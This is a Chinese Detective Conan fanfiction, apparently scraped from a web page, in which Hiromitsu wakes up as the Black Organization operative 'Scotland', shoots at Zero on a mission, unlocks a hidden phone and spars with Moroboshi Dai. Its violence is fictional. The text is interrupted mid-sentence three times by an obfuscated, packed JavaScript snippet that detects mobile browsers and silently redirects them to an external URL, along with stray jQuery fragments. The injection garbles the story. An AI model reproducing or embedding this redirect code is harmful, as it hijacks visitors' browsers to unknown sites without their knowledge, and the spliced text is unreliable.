《波本开门,我真是你幼驯染》 1. 01 景光猛地睁开眼,像个刚受过两次心脏电击才从垂危中复苏的老人那样沉重地呼吸着。视野里一片黑黑白白的星子闪烁,好一会儿才变得清明。 他的脑袋还是痛得不行,但处理简单的思维运转也足够了。 他想:我正坐在车里,抱着一挺□□步枪。除我以外,车里还有两个男人。 “苏格兰?”其中一位问道,“你怎么了?” 声音来自前排驾驶座。景光抬眼一瞧,借后视镜的反光看见了一副墨镜,挂在一张看似敦实的脸上。 景光和此人不熟,只打过几次照面,认出他是黑衣组织的代号成员伏特加。 至于坐在自己身侧的那位…… 景光一惊,轻轻咽了口唾沫,强行压下那颗差点跳出喉咙的心脏。 “没事,做了个噩梦。” “哦哦……”伏特加沉闷地应着,似乎对这情况见怪不怪了,“你今天话倒是挺多,可别出岔子,耽误了大哥的工作。” “不会的。” 后视镜里,伏特加明显地朝景光偏了下头,像是还要说些什么,却被另一个声音打断了。 “安静点。” 很少有人能让一句话里的每个音节都沉重得好像被扔进东京湾的水泥柱、压抑得好像水泥柱里塞着的人,与景光同坐后排的男人就是这样一种能将沟通扭曲成指令的存在。此时,他正抽着一支香烟,一头银色长发压在老式礼帽下,满脸冷意。 景光目不斜视,身正影直,泰然自若,和伏特加都明智地选择了闭嘴。 车内陷入寂静。楼宇与路灯光自窗外飞过,宁静如东京都里的每一个平凡夜晚。 景光的脑袋终于从物理性的疼痛转变为精神性的疼痛。他是谁?他在哪?他要做什么?经典的悬疑故事,永恒的哲学命题。 首先,他的名字是诸伏景光,现用假名绿川隆一,23岁,黑衣组织外围成员,另有一层双重身份,在此不便多言。 其次,他于半年多前混成不法之徒,三个月前加入黑衣组织,而后克勤克俭,稳扎稳打,兢兢业业,终于拿到了通向代号成员的敲门砖。 最后,他于昨天接到一项神秘任务,任务短讯里没有写明地点目标,只有一句“10:20,米花町4丁目11番地。——Gin” 景光猜测,这将是他跻身高层的首个考察任务,考察官便是琴酒。 以上是景光从记忆里总结出的内容,但现在,他要将这些全部推到一边,因为现实已经与他的记忆出现了巨大断层。 他注意到他们刚刚经过的一座商场,广告大屏上显示当前时间为晚7:16。伏特加称呼他为“苏格兰”,在这个以酒名作为代号的组织里,多半是“苏格兰威士忌”的简称。而车里已经有一瓶“琴酒”与“伏特加”,“苏格兰”的标签贴在了哪支酒瓶上简直一目了然,这也是景光敢应答伏特加的原因。 从白天到黑夜,从外围成员到代号高层,这期间到底发生了什么?景光一点儿也记不起来。他强迫自己去思考,可脑袋又开始尖锐地发痛,只好作罢。 不过,景光通过后视镜确认了自己的脸,这具身体毫无疑问地是他本人,那么,“他要做什么”的问题就再清楚不过了。代号成员能够接触更多机密,他要用好这个身份—— “你在想什么?”琴酒忽然开口。 景光一顿,侧过脸去看他,谨慎地笑了笑:“任务。” 一口烟猝不及防地吐到了他脸上。景光呛了两声,垂下眼睛,没敢抱怨,一副听凭指挥的模样。 下一秒,琴酒伸手,虎口卡进诸伏的下颌,四指搭在了头与颈子的连接处。这是个危险的位置,再向下移便可使人窒息。景光全身的肌肉都绷了起来。 在景光已知的代号成员里,琴酒是行踪最明显却也最难抓住的,他仿佛是组织的一个标志、罪恶的一次外显。可现在,他就在距自己半条手臂之远的地方。景光摸到腰后与袖间隐藏的匕首,思忖:我能在这一击之间干掉他吗?以血还血,值得吗? 不能,不值得。景光收了心思,他受到的一年培训不是为了让他把命浪费在这儿的。 景光一言不发地忍耐着琴酒的试探,眼底略带厌恶。他的心里仿佛有道声音在说:这样行动是对的。 他不确定对错,但据他观察,“苏格兰”与琴酒的关系似乎没有那么亲近。因此他的行动即使不对,也一定合理。 好在琴酒很快收回手,嗤笑道:“那女人又回国了。” 景光挪开视线,没有答话,踩在默认的暧昧边界上。 “以后少见她。”琴酒咬着烟,慢吞吞地说,“每次都能恶心到我。” 车内重新沉默下去。 景光暗自松了口气。他的表演有所欠缺,琴酒却擅自给他圆了逻辑,这说明继续演出“绿川隆一”的形象是正确的。 正在景光思忖之际,伏特加停下车。“大哥,到了。” 三人此行的目的地位于东京都北区近郊,一栋产权属于立林制药的独立别墅。黑衣组织与立林制药先前为合作关系,一方出理论,一方出技术,然而立林制药的社长立林正三郎不满足于一对一的交易,便暗中藏了一份药品,准备转卖他人。 今晚他在别墅举办的宴会,正是假托长子成年之由,实则邀请交易人到场验货。琴酒等人的任务,就是除掉立林正三郎,防止组织机密落入他人之手。 对于以上信息,景光一无所知。他试图从手机里找点线索,但邮箱与备忘录里干干净净,反倒让他被琴酒怀疑对外传递信息。 无奈,景光环视一圈,指了指别墅后院,花园里的一座观景塔道:“我去那里。” 琴酒瞥了他一眼,竟让景光错觉地感到其中隐藏赞许之意。但杀手的表情依然冷淡,点点头,随后便揣着爱枪向别墅走去。 见他走远,景光才看向伏特加,问道:“目标是不是有心脏类疾病?” “你问这个干啥?” “准备其他方案。” 伏特加也不是真想琢磨同事的心思,在景光答话的同时,他已经点开立林正三郎的资料,扫过一眼,答道:“立林制药的这个没有。苏格兰,你总不会想靠枪声吓死他们吧。” 景光若有所思地记下立林正三郎的脸,又冲伏特加笑笑,挎上狙击枪,专捡阴影处,马不停蹄地向观景塔赶去。留在车里的伏特加挠挠头,打了个寒颤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165313|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>别墅四下布设了严密安防,景光颇有技巧地绕过警卫,又靠着狙击枪,两下敲昏观景塔上的两名瞭望员,没有暴露自己的面孔。 他将两人搬到一边,腾出位置来卧倒架枪。 别墅共三层,四面皆有窗。一二层灯火通明,从外向内一览无余;而三层漆黑一片,是秘密交易滋生的绝佳温床。 景光通过狙击镜很快定位了立林正三郎的位置。这个四十多岁、野心勃勃的中年男人正向社交界介绍着自己的长子,不见半点异样。琴酒则不见人影,寻找狙击枪的视野盲区已经是他刻在骨子里的下意识行动,哪怕这枪正握在他名义上的同伴手里。 十五分钟后,立林正三郎接到一通电话,忽然急匆匆地走上楼梯。一层,两层……接着是三层的一间会客室里亮起了灯,但窗帘紧闭,看不见里头的情况。 一分钟后,一道模糊的黑影投在窗帘上,身高与身形都对应得上立林正三郎。景光没有轻举妄动——对方用掌根撑着窗台,明显是被逼到退至窗边的。如果胁迫者不是琴酒,那便是立林健三郎的私人恩怨,景光不必理会;如果是,就更没有景光的用武之地了。 在大部分室内执行的任务里,狙击手都是辅助定位,换句话说,捡漏。隔着一层玻璃与窗帘,狙击不仅误差大,还极易留下线索。 果然,下一秒,窗帘上的黑影消失,取而代之的是一道呈溅射状的水迹。那本该是红的,但在灯光照耀下,反倒比先前的人影更黑了。 “金发,身高一米八零,穿着侍者制服。”耳麦里响起琴酒不慌不忙的声音,“苏格兰,他是你的。” 击杀命令。景光敲了两下耳麦,表示收到。 他深深地呼吸一口,全神贯注。自加入黑衣组织以来,该做的、不该做的,他都做了。他的目标只有一个,通往那目标的也只有一条路。他在一年前接受邀请时就已明白了,再多的意外和谜团都不会扰乱他的决心。 景光静静地等待着。 一分钟,没有宾客离开别墅。 两分钟,出门散步的宾客中没有目标人物。 三分钟,一个金发、身高一米八零的青年在外墙边冒出头来。他穿的不是侍者制服,而是与宾客相同的正装,但看到他的瞬间,景光清楚地意识到:是他,琴酒说的就是这个男人。 景光扣下扳机。 狙击镜内,子弹穿透夜风,以闪电般的速度击中了某个位置。青年立即看向景光所在的方位,顿了一下,匆匆离开。 直到确认青年无事,景光才将眼睛从狙击镜后挪开。因为盯着高倍镜太长时间,他的眼睛已经有些干涩。他利落地收起狙击枪,向下爬离观景塔。接近地面时,他才意识到自己的手在颤抖,不是因为劳累,而是恐惧。 Zero。景光默念。那金发青年正是他一年前的同学,更是他年少时结交的挚友。对方回头看他的那个瞬间,他甚至以为自己会被隔着几百米的距离看穿。曾经的警校第一是不可能出现在这种地方的,除非—— 某个可能性使景光默然。 他不想开枪,但不得不开,因为他现在的身份不只是一个朋友。 景光迅速收拾好情绪,撤离了现场。 2. 02 一直没人发现立林正三郎的尸体,严密的警备彻底成了个笑话。景光回去的时候,琴酒还倚在车边慢悠悠地等他。 那把刚取了人命的□□M92F此时对准了诸伏。 “人呢?”琴酒问。 “被逃了。”景光直视着他枪口上的双眼,面不改色,“他很厉害,你能看出来。” 不然也不会从你手里逃走,还要我来补枪,景光想,何况我没在说谎——Zero就是很厉害。 琴酒目不转睛地盯着他,终归没有发现端倪,把枪别回了大衣里。 他没进车,景光也不动,往四下一看,发现伏特加不在。琴酒多半在等司机。 伏特加无意间吐槽的那句“你今天话倒是挺多”,让景光十分注意把握自己现在的台词量。作为绿川隆一时,他哪怕看穿了原因也要多问一句“为什么”,但如今作为苏格兰的他,还是先少问多做得好。 究其根本,绿川隆一的假身份诞生自景光原本的性格:温柔、平和、冷静,但在景光接下十五个谋杀单子,用十五颗子弹射杀十五条亡魂后,他所有与“常人”无异的特征就在众人的谣言里变成了某种伪装。 那十五个谋杀单子,全部来自黑吃黑的暗网委托,最后一单的目标更是穷凶极恶之人,让景光好几个月都没能脱身。正是这时,黑衣组织向他递出了邀请函。 因此绿川隆一的身份,景光很好把握。他要扮演的是视人命为草芥的狙击手,剩下的自有别人替他解读。 但苏格兰的身份,景光还拿捏不准。当务之急是先结束任务,再回安全屋仔细考虑。 “大哥!” 伏特加攥着一片布条,从远处小跑回来,向琴酒汇报:“回收了子弹。苏格兰那一枪打中了衣服,这种定制礼服可以顺着布料和剪裁方式找到店家。” 琴酒捏着布片,像只伏在地上抓耗子的猫一样贴近去观察,最后露出一个势在必得的笑,从口袋里拿出一个U盘,裹在布片里一同交给伏特加。 “今晚出入别墅的人员名单,明天我要一个名字。” “好的,大哥!” 伏特加接了任务,美滋滋地坐进驾驶室。 琴酒转而对景光道:“你还有三天时间,不能给我一个结果的话,别想要今年的休假了。” 休什么?景光愣。他做外围成员时可是365天待命,代号成员反倒都能光明正大摸鱼了? 等等—— 他该不会还有五险一金吧。 景光无语地笑笑,挥开脑子里乱七八糟的吐槽,对琴酒说:“好的。” 不对劲,景光想,“苏格兰”不对劲,Zero也不对劲。关于前者的秘密,他需要一个三百米内见不到琴酒的地方好好调查,而关于后者—— 景光清楚自己的子弹只在Zero的衣摆上穿了个洞,根本不可能扯下一片衣角。定制礼服,还带有如此明显的追踪线索……Zero是故意的,他的目标就是让杀害立林正三郎的凶手追踪自己。 引蛇出洞?不,蛇尚有七寸,但黑衣组织是绞绳,一旦被套牢就是不死不休。Zero知道自己面对的是这种敌人吗?又或者…… 无论如何,自己在琴酒的授意下介入,兴许能够帮助好友。 十分钟后,伏特加靠路边停车。琴酒没动,景光便知道该下车的是自己。 路边有家便利店灯还亮着,景光打算在此暂且歇脚,先解决手里这部干净得仿佛新机的手机。他在货架上随便拿了瓶咖啡作为掩饰。 收银员是个染了一头黄毛、面容清秀的年轻学生,从景光手里接过咖啡,扫码,一边敲着收款机一边担忧地说:“绿川先生请一定要好好休息啊。加班固然重要,但累倒可就得不偿失了。” “嗯,谢谢。”景光自如地应道,迅速瞥了一眼对方制服上的工牌。很普通的姓氏:杉山。 杉山像被夸奖了似的,露出一个仿佛散发佛光的微笑。 景光付了钱,拉开咖啡罐的拉环,喝了一口,继续闲聊道:“最近怎么样?” “挺闲的,毕竟我只是个小角色嘛。”杉山挠挠头,“真想尽快帮上绿川先生啊。” “会有机会的。” “啊!这么说来,您同意啦?” 景光无奈地笑笑。“话说太满了。” “我不管,我等您松口可是等一年多啦。”杉山好像怕景光突然改主意似的,连忙挥挥手,“不打扰您了,早点休息!” 直到过了一条马路,景光还能看见杉山兴奋地在店里蹦来跳去的模样。 这孩子……到底怎么回事? 景光只是随便挑了一家便利店,结果竟然撞上“苏格兰”的熟人。便利店店员……言语间却流露出对绿川的熟稔,是黑衣组织的人? 景光的记忆里没有杉山这号人物,苏格兰与他的差别越来越大了。 他找了条没有监控的昏黑小巷,将贝斯包放下,倚在墙边,翻起了手机。 景光的定位是狙击手,过去一年主要受到的培训也是射击、追查与反追查之类的课程,对电子产品的研究只是入门而不精通。 好在苏格兰的手机并不复杂,一表一里的双重系统,只要解开一个四位密码就能查找深层文件。 那么,哪四位? 日期,年份,甚至随手敲下的四位数字都有可能。生活不是解谜游戏,不会有一个“忘记密码”在这等他,点开以后即可获得密码提示。 景光略作思考,敲下了他原本用的那串密码。 【密码错误,还可尝试2次。】 这倒是在景光的意料之中,毕竟他原本的手机可没设置双重系统。 他对密码线索的一无所知,只好赌——赌苏格兰就是自己,那么密码一定是一个特殊日期,刻骨铭心,难以忘怀。 这样的日子有哪些? 第一次手染鲜血。 樱花盛开的毕业日。 大仇得报。 与Zero的相遇。 还有…… 诸伏输入了一个属于春天的日子。 【密码错误,还可尝试1次。】 夜幕下,那双眼尾上挑的蓝眼睛缓缓眨动一下,显出些许凝重。只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165314|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次机会,失败的话,或许会触发某些警报程序。 景光应当慎重的,但某个日期不知为何,深刻地浮现在了他的记忆里,挥之不去。没错,就是这串数字——尽管道不清缘由,直觉却催促着他按下手指。 0……5……1……3…… 【密码正确】 短短两个小时里,景光已经赌了太多次,直觉和下意识如此不可轻信,却次次引导着他选择了正确答案。他和苏格兰之间的联系变得更微妙了。苏格兰既是他,却也与他有着些许区别。 因为如果是景光自己的话,他绝不会用“那起案件”的发生时间作为密码。 景光浏览手机,邮箱里是几封已读信息: 【「文件.pdf」——Vodka】 【19:00,酒吧。——Gin】 【三天后老地方见~——Vermouth】 【来见我,姐姐被奇怪的男人缠上了。——Sherry】 【贝尔摩德在哪?——Calvados】 琴酒、贝尔摩德、雪莉、卡尔瓦多斯,全部都是酒名。琴酒他见过,卡尔多瓦斯他听说过,剩下的景光一无所知。 从对话方式上看,苏格兰似乎和他们都挺熟,甚至能和雪莉谈起家庭……至于琴酒,名声凶残的杀手对人对鬼都是一副冷冰冰的态度,看不出虚实。 通讯录里没有以酒名开头的号码,都是真名,前面标记着数字1-3。景光从中看见了几个熟悉的名字,都是黑衣组织的外围成员,他们会帮助代号成员完成任务,随叫随到,随生随死,景光就是在这时第一次接触了琴酒和伏特加。 根据这些人,景光大概明白了数字的含义:1是行动组,2是情报组,3是后勤组。 此外有两个联系人没标数字,一个叫宫野明美,一个叫杉山三。 ……好拗口的名字。 手机里还有一份隐私文件,景光试了两次密码就成功了,是一张完整的东京地图,一些地方被圈成红色,景光对比了一下现实场景,忽然明白了其含义—— 狙击点。 有些地方标得更加精准,有些地方不太涉及,这张地图是有人在慢慢更新的。还有一些屋子涂了蓝色,大概是安全屋。他今晚总算有着落了,这倒是个好消息。 日历里,三天后的5月13日被圈了出来,打上星号。景光皱眉。 一方面是为那个时间,另一方面是因为他的记忆还停留在六月。不是几年前的六月,而是同一年的六月。 他的时间没有向前推移,相反是向后倒退了一个月。 如果他现在在的这具身体是本名诸伏景光、化名绿川隆一的代号成员,那那个还是底层成员的他又在哪? 这还是他原本的世界吗? 景光的第一反应是必须上报联系人,但颠了两下手机,放弃了。他自己现在还对问题一知半解,即使上报也只是徒增困惑。 何况,景光担心事情会向更危险的方向发展—— 现在的他,到底是卧底绿川隆一,还是组织的成员“苏格兰”? 3. 03 景光在安全屋里睡了撑死五个小时,算不上休息,只是为了满足使人体正常运转的生理需求。在这短暂的睡眠时间里,景光甚至做了个梦。梦里的他沿楼梯向上攀升,“蹬蹬噔噔”,鞋跟敲着生了锈的铁台阶,永远看不见的屋顶,永远停不下的脚步。 他醒来时实在疲惫。 这间安全屋是苏格兰以绿川隆一的名字在中野区买的一套房产,算是他现在在东京都里的半个家,地点其实离昨天的下车点不远。伏特加能直接把他送到“家”楼下,说明这处安全屋是对组织公开的。 屋里养着一些花草,被打理得还算漂亮。阳台延伸出一截飘窗,放了几个塞着棉花的坐垫,靠墙倚着一把贝斯。景光随手拨了两下,音准是对的,平时有在使用。墙面漆成浅蓝色,被上午的阳光一照,温馨得简直像个样板间。 景光自己的住处可没有这里温馨,起码打理花草就要耗费大量精力。苏格兰的状态似乎十分放松,是因为已经赢得了组织信任吗? 冰箱里有食材,但不新鲜。食材有消耗的痕迹,灶台也被使用过,调料的消耗量符合景光自己的调味习惯。 快到中午时,景光做了一顿便饭,刚吃两口就收到伏特加发来的新邮件,点开是一份个人档案。 【安室透24岁大阪市奈良县人】 【以贩卖情报为生,曾插手歌舞伎町火并、道顿堀帮派首领更替、东京都知事选举等事件。】 【三个月前,以个人身份与立林制药达成联络,进行药品交易。】 【5月11日晚,预约蒂芙斯西餐厅13号桌双人座,与青森集团进行交易。】 【交易内容不明,交易人身份不明。】 后附一条简短消息:来2号训练场。——Gin 景光套上一件连帽衫,拎着从不离身的贝斯包下到车库,一辆线条简洁的纯黑色本田NSX正等在那里。他开了车锁,坐进驾驶室时难免有些兴奋。从学校到隐姓埋名再到入职,他没时间也没机会攒钱买下一辆属于自己的车。即使景光对车没有太多兴趣,但是—— 超跑欸?谁会拒绝一辆超跑啊! 景光打了两把方向盘,忽然想起某位爱车(或者爱拆车)的朋友,轻轻一笑。 2号训练场景光以前来过,路线他记得清楚。 把贝斯包倚在副驾驶座,老老实实地遵守交通规则。下午一点左右,景光抵达了位于一栋商务楼地下的2号训练场。一开门就是一阵烟熏雾绕。 “你好。”烟气里站着个留黑色长发的男人,见景光来后吐出一个烟圈,从墙边直起身来,顿了顿,喊出景光的代号,“苏格兰。” 不认识,没见过,景光安静地点了点头。挺奇怪的男人,黑发绿眼,和琴酒一般高,五官有着相同的欧美特征。 ……兄弟? “来一根吗?”男人递过一支烟来。 “不用,谢谢。” 绕过他,继续去找琴酒。 银发的杀手站在拳击台边,角落的几把椅子上坐着伏特加和一个眼尾纹了半只凤尾蝶的女人。两人似乎没有太多话讲,一个擦枪,一个敲电脑,只在景光进屋时抬头看了一眼情况。那女人是基安蒂,景光曾和她一起出过任务。 “琴酒。”景光喊道。 “见过诸星大了?” 不难推出这是门口那位的名字。 “嗯。”景光答。 “和他对打一场,不用留手。” “没问题吗?” 琴酒轻飘飘地瞥他一眼,说:“死了怪他自己。” 这时,诸星大大约抽完了烟,也走进来。训练场足够空旷,琴酒没压声音,这话很容易就传到了诸星大的耳朵里。他看着琴酒,直勾勾地说:“我要和你打。” 诸星大的表情和语气都很平静,但对琴酒而言,平静本身就是一种挑衅。 琴酒嗤笑一声。“先赢了我的学生再说吧。” “你同意了,对吧?”诸星大似乎完全没把景光放在眼里。 琴酒不置可否。 活像成为两人play一环的景光有以下六点要讲: 。。。。。。 什么学生? 琴酒是苏格兰的老师? “不上来吗?”诸星大已经一跃翻进了拳击台。 也好,景光想,昨天他就察觉到苏格兰的身体似乎比自己经历过更多训练,正巧有个对手给他试试实力。 景光将卫衣袖口挽到小臂上,双拳一握,几道青筋凸露出来。 “诸星,”琴酒忽然喊,“别伤到苏格兰的脸。” “这不合理。”诸星大反驳。 琴酒只是淡淡地回:“他今晚有任务。” 怎么,我用脸狙击吗?景光腹诽。他对诸星大笑笑,道:“公平起见,我也不会攻击你的面部。” 诸星大颔首,双拳举在胸前,双脚前后错开,轻盈地跳动两下。毫无标志性的起手式,却也正是截拳道的标志。 诸星大一个挥拳先攻而来,景光抬肘挡下,左拳袭向对方腹部。诸星大闪身,同样避开一记拳头,顺势送上一个侧踢。景光略一侧身,灵巧地拨开这股力道,并迅速去勾诸星大的腿弯,希望借机将人掀倒在地。景光没太用力,被诸星大挣开了。 初次交手,试探结束。果然,敢于向琴酒发起挑战的不是白痴就是战士,诸星大的实力景光不敢小觑,何况他注意到对方是左撇子,很多招数的攻路与常人不同,可以说在搏击里具备天生优势。 两方都在心里做了个简单复盘。诸星大再次挥拳攻来,景光一个晃身,没能骗出诸星大的下一招,两人短暂地拳脚相接后又再度退开。 下一轮交手是景光先迎上去。琴酒说不必留手,景光也有心在琴酒面前表现一把,试试苏格兰与琴酒到底是什么关系。 景光迅速地侧踢两次,全部命中诸星大的膝盖内侧。他没能踢动对方,却让对方为维持重心平衡短暂地分了神。下一秒,景光抬高落点,朝诸星大的脑侧袭去,没收着一点力道。 首先,景光的确承诺过不打脸,但他现在打的是头。作奸犯科之流踢傻一个算一个,踢死诸星大这类劲敌更是爆赚。 这一击实打实地踢重了,却没能给诸星大造成太大影响。后者几乎紧跟着就是两记拳头,分别攻向胸口与腹部。景光看得出这一击要是打在自己下巴上会更有效果,但诸星大把琴酒的要求听进去了。 景光脚尖一旋,整个身子闪到诸星大身后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165315|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人那头扬起的长发实在太显眼了,简直像条在音乐里摇头摆尾的蛇,所以景光一伸手—— 揪住了。 那一瞬间,景光想,自己现在能揪住诸星大的生命线,未来一定也能揪住琴酒的生命线。亡命之徒留长发的意义究竟是…… 也许是没上过学没被要求过理发吧。 成也长发,败也长发。诸星大的头发虽被逮住了,但也就是一点发尖。他没有强行远离景光,反倒贴身转到景光正面,一只手抬在景光额边。 手里是一把枪。 训练场的气氛忽然变了。琴酒、伏特加、基安蒂,以及诸星大那双深绿色的眼睛此刻都紧紧注视着着景光,从那双眼里放出的光很亮,像狼,也像琴酒,让景光的心底一阵发冷。 双方赤手空拳的自由搏击,哪里会用得到枪。这已是违规,但—— 没有人叫停。 “我赢了。”见景光一言不发,诸星大挪开视线,对琴酒道。可第二个音节刚出口,本能就替他拉响了警报。 地下世界不乏一些喜爱在原始草原上狩猎的亡命之徒,他们热衷于分享自己的狩猎经历,其中提到一种最可怖的情形是:当你有了收获,正打算从草丛里爬起身时,距你不到三米的地方,有东西动了。 那或者是一头饥肠辘辘的鬣狗,或者是一头带着幼崽的母狮,无论如何,杀死你将满足它们的需求。这样的东西往往有着同一种眼神。 诸星大从那双上挑的蓝色猫眼里,看到的正是那样一种眼神。 下一秒,视野里的景物向下收缩退去,诸星大躺在了拳击台上。 景光单腿着地,右膝抵住诸星大的胸膛,将夺来的枪口转向对方额心,然后,扣下扳机。 无事发生。 景光在抢到枪的瞬间就检查了保险——没有拉开。诸星大确实很有分寸,但被枪指着的滋味可不好受,景光不可能凭白咽下这口气。 “可以了。”琴酒说。 景光起身,把枪塞回诸星大的手里,笑着说:“承让。” 诸星大没什么反应,只是深深地看了他一眼,拍拍灰从地上起身。两人一起来到琴酒面前,等待这位负责人发话。 琴酒在一块平板上写了些什么,才看向他们。 “苏格兰,”他说,“今晚的任务由你去接近目标,诸星负责狙击。” 原来他的脸在这儿等他,景光想。 他猜测这是晋升代号成员的考察任务,但不便开口发问。好在,诸星大似乎是有话直说的性格。 “我不够让你满意吗,琴酒?” 虽然这种问话方式比较……新潮,但景光能听出他问的就是自己想问的。 对此,琴酒只是嘲弄地回道:“这可不是你的恋爱过家家,诸星,”他的枪不知何时抵在了诸星大的下巴上,“我可是不关保险的……别让我逮到你,老鼠。” 随后,伏特加递给诸星大一把□□,又嘱咐景光去置办一身正装,便把他们推出了训练场。 景光看着自来熟般一屁股坐进他的本田NSX里的诸星大,叹了口气。横空掉下个一身黑的邪恶组织预备役,看来借此机会联系Zero是不可能了。 要不……联系上线看看? 4. 四人的约会事件(一) 下午2点45分,米花百货商店,景光把车停进了立体停车场。 一趟车程下来,他算是摸清了诸星大的性格。此人看似冷淡,实则充斥着探究欲、侵略性与破坏性……仿佛是为了找乐才投身黑暗,戏谑地旁观一切向腐烂发展。 不可接近,不可亲信。 但另一方面,景光又对诸星大感到莫名熟悉。他将原因归结为诸星大实在太像另一个琴酒,好在他面对诸星大时可比面对琴酒放松多了,毕竟琴酒把人指派给了他,他是上司。上司说东,诸星大还敢往西不成? 诸星大的确敢。 这个对琴酒都敢出言不逊的男人此时正催着景光赶去二楼的男装专区。景光有理由怀疑琴酒是想折磨自己,才把自己这个狙击手硬塞进必须正装入场的西餐厅里,但转念一想,整个行动组看着最像正常人的好像真的只有景光。至于即将加入的诸星大…… 景光注视着对方走在前面的背影。 琴酒信不过诸星大,所以才会安排对方站狙击位,一方面能测试实力,一方面又能避免对方获取太多任务讯息。至于景光自己的任务,除了杀死安室透外,更重要的是从其口中获取情报。这是景光的解读。 昨晚的宴会有琴酒出马,立林健三郎的交易肯定没有成功。那琴酒究竟想了解什么?——组织机密泄露了多少? 真巧,景光也想知道问题的答案。最好让Zero在和自己交接了情报后,直接假死,毙掉这个身份。两个熟人在同一个组织里卧底,太危险了。 “我很让你发愁吗?”诸星大忽然转头看向景光。 景光笑笑:“不习惯而已。谈谈你自己吧,诸星君,你是……”景光含混地说道,“怎么入职的?” 诸星大走慢了些,直至与景光并行,低声说道:“两个月前,我被你们的人撞到,住院了一段时间,也失去了记忆,无处可去,是她一直在照顾我,所以我留了下来。” “她?” “宫野明美。”诸星大缓缓说道,“她没和你说过我吗?她倒是经常向我提起你……还让我不要惹你生气。” 这个名字……电话簿上另一个没有标注数字的人,竟然也隶属于组织。 “你好像不是这么做的。”景光说。 “你没有生气吧。” “你晋升得倒是挺快。” “明美她,为自己现在所处的位置感到困扰,我想要帮她。” “她撞到了你的脑子还是心?”景光半开玩笑道。 诸星大仿佛认真地思索片刻,说道:“这是更复杂的感情。” 景光难以苟同。 似乎是工作日的原因,商场客流量不大。景光上二楼时,只看到两对年轻男女流连在女装区,此外不见其他人。 诸星大拿起一身深蓝色西装对景光说:“很配你的眼睛。” 景光主动忽略这句话,对比了下身量与尺寸——没问题,便打算交钱结账。 一声划破天际的尖叫简直和他掏出钱包的动作一样丝滑。 两人朝声音的方向望去,都闻到了一丝若有若无的血腥气。 “有人死了。”诸星大说。 “命案?”景光皱眉。 “先生——”转过头来,柜台职员竟然依旧面带微笑,甚至语气急促,像是生怕某些血腥小问题打扰了顾客的付账思路,“现金还是刷卡?” “……刷卡。” 职员行动利落,很快就把发票和衣服交到了景光手里。抬腿就走之际,楼层经理一边擦汗一边匆匆赶来,拜托景光与诸星大到案发现场集合,声称警方已在现场,案件侦破前,商场内人员不得随意离开。 “我们才刚到不久,而且行动轨迹明确,不可能有作案时间。”诸星大道。 “这……这是有位警官先生要求的,实在抱歉,商场会给两位作出补偿的。”经历的额头仍在不断冒汗。 景光拦了下诸星大,摇摇头。强硬离开的话反倒容易被警方盯上,无端惹得一身骚。 他们跟在经理身后前往案发现场。那里已经站着两男一女,正是景光先前注意到的两对男女中的三人。经理提到的警官似乎不在其中。 不到一分钟后,两名警官赶到。其中一名胖墩墩的警官自称目暮十三,为警视厅刑事部搜查一课强行犯搜查三系警部。他环视一周,问道:“报案人是谁?” “我。”一道黑漆漆的身影从案发现场走了出来,懒洋洋地答道。这没什么奇怪的——但凡案发现场不是女厕所的话。 见到那头卷毛的瞬间,景光僵了一下,痛恨自己刚刚没有“强硬地”选择离开。警察在汪洋大海里捞两个路人不一定能捞到,但这个卷毛抓熟人可是有的一手。话说这里又没有炸弹,你个爆处组王牌怎么会在工作日里逛商场啊—— 松田阵平! “松田老弟。”目暮熟稔地迎了上去,“你报案说在女厕所里发现了死者,是吗?” 松田飞快地敲着手机键盘,不知给谁发了条消息,然后利落地收起手机,“嗯”了一声。像是突然察觉不对,他顿了下,解释道:“不是我发现的,第一发现人是她。”松田指了指现场唯一的那名女性,“但她吓得什么话也说不出来,我就替她报了警。” 目暮点头。 松田继续道:“我提前让商场进行了封锁,也让经理把这一层的人全叫过来了。我看过了案发现场,我认为,”他环视一周,对上景光的视线时稍稍停留片刻,接着又轻描淡写地挪开,“凶手大概就在这些人中间。您可以去看看现场——小心地滑。” 景光默默看着许久未见的同期,心下感到悲伤。他是在电视里看到萩原殉职的消息的。一个青年、二十多年光阴、整整六个月的职业培训,一切爱与整个社会的期待就这样轻易地消失在一颗炸弹之下。太可笑了,他们可是关系最好的同期,得知对方的死亡消息却只能通过新闻播报。那松田呢?他又是在什么情况下、通过什么途径了解了萩原的死?景光想象不到,他再惋惜也不可能切身理解松田的痛苦。 目暮检查完现场,出来时被松田拽住附耳说了几句话。目暮点头,对众人道:“请几位介绍下自己的情况吧。” 